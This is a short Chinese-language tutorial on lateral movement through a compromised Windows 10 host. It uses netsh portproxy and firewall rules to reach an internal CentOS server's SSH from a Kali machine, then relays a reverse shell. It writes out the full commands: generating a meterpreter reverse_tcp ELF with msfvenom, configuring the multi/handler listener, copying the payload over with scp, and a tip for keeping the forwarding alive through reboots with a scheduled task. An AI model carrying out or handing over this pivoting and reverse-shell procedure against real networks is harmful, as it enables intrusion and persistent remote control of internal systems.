跳板攻击之:Netsh端口代理转发
跳板攻击之:Netsh端口代理转发
1 命令解析
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
listenaddress
- 等待连接的本地IP地址。listenport
- 本地侦听TCP端口。connectaddress
- 将传入连接重定向到本地或远程IP地址(或DNS名称)。connectport
- 要连接的TCP端口。
2 代理转发内网22端口
-
实现功能:在win10上配置端口代理,使外网kali主机通过访问win10的2222端口,连接内网CentOS服务器的22端口
-
前提:
- 已经取得Win10控制权限
- CentOS开放了22端口
-
Win10上配置端口代理,并防火墙放行该转发端口
netsh interface portproxy add v4tov4 listenport=2222 connectport=22 connectaddress=10.0.0.7 netsh advfirewall firewall add rule name="forwarded_TCP_2222" protocol=TCP dir=in localip=192.168.50.236 localport=2222 action=allow
-
其他命令
# 清除指定规则 netsh interface portproxy delete v4tov4 listenport=2222 # 清除所有规则 netsh interface portproxy reset # 查看转发规则: netsh interface portproxy show all
-
端口代理成功
3 代理转发外网4444端口
-
实现功能:在win10上配置端口代理,使内网CentOS服务器的反弹shell通过访问win10的4444端口,连接外网kali主机的4444端口
-
前提:
- 在以上实验的基础上
-
制作反弹shell
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.0.0.6 lport=4444 -f elf -o evil.elf chmod +x evil.elf
- 内网CentOS服务器连接的是win10的4444端口,win10将此连接代理转发到win10的4444端口。对于内网CentOS服务器来说,它只知道内网中存在win10。因此反弹shell也是反弹给win10的4444端口
-
kali中配置监听
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost=192.168.50.2 set lport=4444 run
- 同理,对于kali来说,监听的当然是本地存在的地址
-
Win10配置端口代理
netsh interface portproxy add v4tov4 listenport=4444 connectport=4444 connectaddress=192.168.50.2 netsh advfirewall firewall add rule name="forwarded_TCP_4444" protocol=TCP dir=in localip=10.0.0.6 localport=4444 action=allow
-
使用scp将生成好的文件传给内网CentOS服务器
scp -P 2222 evil.elf root@192.168.50.236:/root/
-
在CentOS服务器上执行反弹shell文件,代理转发外网4444端口成功
4 注意
- 在Windows Server 2012 R2中,端口代理规则仅在系统重启之前有效,重启后会被重置。
- 可以将使用
netsh interface portproxy
规则的脚本添加到Windows scheduler
,使其在系统启动时运行。